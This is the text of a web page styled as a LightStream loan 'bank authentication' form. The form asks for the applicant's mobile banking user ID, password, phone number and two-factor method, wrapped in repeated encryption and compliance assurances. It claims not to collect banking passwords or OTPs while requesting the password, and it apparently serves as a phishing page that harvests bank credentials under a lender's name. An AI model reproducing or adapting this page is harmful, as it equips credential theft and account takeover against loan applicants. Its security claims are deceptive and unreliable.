Bank Authentication - LightStream

Secure Bank Authentication

256-bit SSL encryption • Bank-level security

Your Security is Our Priority

Your banking credentials are encrypted using industry-standard security protocols and are never stored on our servers. We use Plaid, a trusted financial data network, for secure bank connections.

Your Bank *

Your bank was selected in the loan application form

Mobile Banking User ID *

This is the same username you use to log into your mobile banking app

Mobile Banking Password *

Your password is encrypted and never stored

Phone Number *

Enter your 10-digit phone number without dashes or parentheses

Two-Factor Authentication Method

I authorize LightStream to securely connect to my bank account for verification purposes only. I understand my credentials are encrypted and never stored.

Important Security Notice

We do not collect banking passwords or OTP. All submitted data is secure and used only for loan processing. Your credentials are encrypted and never stored on our servers.

256-bit SSL Encryption • PCI Compliant • Bank-Level Security

Why We Need This Information

Bank authentication helps us verify your identity and income quickly, allowing for faster loan approval and funding. It's more secure than traditional document uploads.

What Happens Next

Once connected, we'll securely verify your account information and you'll receive a confirmation. This typically takes less than 2 minutes.

Security Features

How we protect your financial information

End-to-End Encryption

256-bit SSL encryption protects your data in transit

No Credential Storage

Your login details are never stored on our servers

PCI Compliant

We meet the highest security standards in the industry

Privacy First

Your information is only used for loan verification

Secure Bank Connection